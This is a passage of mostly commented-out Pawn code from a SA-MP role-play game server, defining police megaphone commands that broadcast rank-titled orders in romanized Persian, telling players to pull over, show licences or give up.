					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s:o< Bazikon{FFFF00} %s {0000FF}Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s:o< Bazikon{FF0000} %s {FFFF00}Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[N.G Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 22 || PlayerInfo[playerid][pLeader] == 22)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[Swat Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

						else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[SFPD Leader %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[HQ Commander %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Command Sergeant Major %s:o< Bazikon {FFFF00}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Director of Raids %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Training Commander %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Specialist %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Agent %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
					//	strmid(Megaphonetext[playerid], 0, 255);
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/mshowlicense", true) == 0 || strcmp(cmd, "/msl", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Msl <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has received your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player didnt received your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 2||PlayerInfo[playerid][pLeader] == 2)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "New Agent Trainee"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Special Agent"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Supervisory Special Agent"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Unit Chief"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Deputy Director"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Director"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "FBI Leader"; }
							format(string, sizeof(string), "[%s %s:o< Bazikon {FF0000}%s {FFFF00} Lotfan Govahiname Haye Khod Ra Neshan Dahid (/Sl). >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						*/
						/*else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s:o< Bazikon{FFFF00} %s {0000FF}Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s:o< Bazikon{FF0000} %s {FFFF00}Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[N.G Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 22 || PlayerInfo[playerid][pLeader] == 22)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[Swat Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

						else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[SFPD Leader %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[HQ Commander %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Command Sergeant Major %s:o< Bazikon {FFFF00}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Director of Raids %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Training Commander %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Specialist %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Agent %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						} */
						/*
					//	strmid(Megaphonetext[playerid], 0, 255);
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
*/
/*
		if(strcmp(cmd, "/mkenar", true) == 0 || strcmp(cmd, "/mk", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Mk <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has received your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player didnt received your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s:o< Bazikon {FF0000}%s {FFFF00} Be Kenare Khiyaban Beravid. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s:o< Bazikon{FFFF00} %s {0000FF}Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s:o< Bazikon{FF0000} %s {FFFF00}Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[N.G Leader %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 22 || PlayerInfo[playerid][pLeader] == 22)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[Swat Leader %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

						else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[SFPD Leader %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[HQ Commander %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Command Sergeant Major %s:o< Bazikon {FFFF00}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Director of Raids %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Training Commander %s:o< Bazikon{FF0000} %s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Specialist %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Agent %s:o< Bazikon {FF0000}%s{FFFF00} Be Kenare Khiyaban Beravid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
					//	strmid(Megaphonetext[playerid], 0, 255);
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/mtaslim", true) == 0 || strcmp(cmd, "/mt", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Mtaslim <Playerid/PartOfName>");
					return 1;
				}
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
				new playerveh = GetPlayerVehicleID(playa);
				new vehicles = GetVehicleModel(playerveh) - 400;
				if(!IsPlayerInAnyVehicle(playa)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't in any vehicle.");
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has received your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player didnt received your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s:o< Bazikon {FF0000}%s{FFFF00} {0080FF}[%s]{FFFF00} Lotfan Beist Vagarna Wanted Migiri. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName], aVehicleNames[vehicles]);
